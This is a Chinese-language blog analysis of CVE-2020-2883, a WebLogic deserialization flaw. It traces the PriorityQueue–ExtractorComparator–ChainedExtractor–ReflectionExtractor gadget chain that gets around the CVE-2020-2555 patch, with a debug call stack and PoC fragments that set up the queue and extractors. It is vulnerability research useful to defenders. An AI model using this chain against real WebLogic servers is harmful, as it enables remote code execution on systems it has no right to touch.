一、原理
(一)概述
和CVE-2015-4852中构造的ChainedTransformer类似,ReflectionExtractor可以实现任意方法调用,这里用链式的ReflectionExtractor构造ChainedExtractor,调用其extract()同样可以实现任意代码执行;
BadAttributeValueExpException中的readObject()可以调用成员变量的toString,且这个成员变量是我们可控的;
控制BAVEE的成员变量为LimitFilter对象,通过LimitFilter.toString()触发ChainedExtractor的extract(),进而触发RCE。
(二)CVE-2020-2883
CVE-2020-2555的补丁(仅)去除了LimitFilter.toString()中的extract()调用,
大概情况是这样,
当然,这条链断的并不完整,只要有一处能调用到我们构造的ChainedExtractor的extract(),则仍能触发ReflectionExtractor带来的任意方法调用。
(三)原理
仍然是Y4er师傅的[PoC][https://github.com/Y4er/CVE-2020-2883/],
将其放到weblogic_cmd的com/supeream/下即可。
相关内容在下面结合调试过程一起讲。
记录一下感觉很奇怪的事情,
PoC运行到这里,
queue的显示是这样的,看不到成员变量,很烦,
但若是计算queue.comparator,
也是有值的,虽然跟一下就能发现这个问题,不影响调试,但看起来总有些不舒服。
仔细一想,发现了问题之所在,
不知哪一次为了看字节流方便,将View as 改了,改回Object之后,就恢复正常了。
补丁虽然remove了LimitFilter.toString()中的extract,仍然有几个类可以调用到ChainedExtractor.extract()。比如MultiExtractor继承了AbstractExtractor ,其内的compare()就可以调用到ChainedExtractor.extract()。
另一方面,PriorityQueue也是反序列化常用的基类,通过readObject()->heapify()->siftDown()->siftDownUsingComparator(),进而触发this.comparator.compare()
二、调试
(一)环境搭建
同CVE-2020-2555,不再赘述。
(二)复现
运行PoC,
(三)调试
先上这个PoC的调用栈,
extract:104, ReflectionExtractor (com.tangosol.util.extractor)
extract:105, ChainedExtractor (com.tangosol.util.extractor)
compare:71, ExtractorComparator (com.tangosol.util.comparator)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
ChainedExtractor.extract()往上的部分就比较熟悉了,情况一致,不再赘述,重点关注从ChainedExtractor往下到PriorityQueue.readObject的片段,
接下来是从PriorityQueue.readObject()到PriorityQueue.siftDownUsingComparator()的部分,
首先是queue的赋值,
会进入heapify(),
可以看出,在size>=2时,可以进入for的内部,进而进入siftDown函数,
这一部分在PoC中的体现如下,
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = Runtime.class;
queueArray[1] = "1";
进入siftDown,我们看到,接下来的流程和comparator的值有关,跟踪之,
是个private,可以在构造函数中设定,
显然进入if,
跟进,因为size为2,前面的内容都可顺利走过,进入,此时x即为Runtime,c为1,
o1、o2对应x、c,
接下来即可进入this.m_extractor.extract,
先跟踪一下这个变量,
也是可以在构造函数里设定的,
对应着PoC中的如下部分,
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(chainedExtractor1, valueExtractors);
接下来进入extract(),这一部分和之前一模一样,不再赘述。
个人感觉CVE-2020-2883的整个利用链和CVE-2020-2555相比仍有一定的相似度,前者的利用链是套路A+ReflectionExtractor任意方法调用,后者是套路B+ReflectionExtractor任意方法调用。CVE-2020-2555的补丁破坏了套路B,但ReflectionExtractor的任意方法调用部分仍然是可用的,只要找到别的触发点,仍可以利用。
三、收获与启示
因为之前粗略学习过CVE-2020-14645,感觉CVE-2020-2883可谓是“政启开元,治宏贞观”,其利用链的一部分继承了CVE-2020-2555中ReflectionExtractor的利用链,另一部分找到了PriorityQueue可达的、新的extract()的调用点,为CVE-2020-14645做了准备。
学到现在,有一个直观的感受是:最开始的CVE-2015-4852是开篇,后面的都是它的再发展(包括它的重现、它的绕过和它的绕过的绕过),所谓发展主要是指反序列化触发点的切换。从最开始2015时CC1链及其变种,到现在出现了新的利用类ReflectionExtractor,又一次告诉我们要封一类,而不能只封一个。
发表评论
您还未登录,请先登录。
登录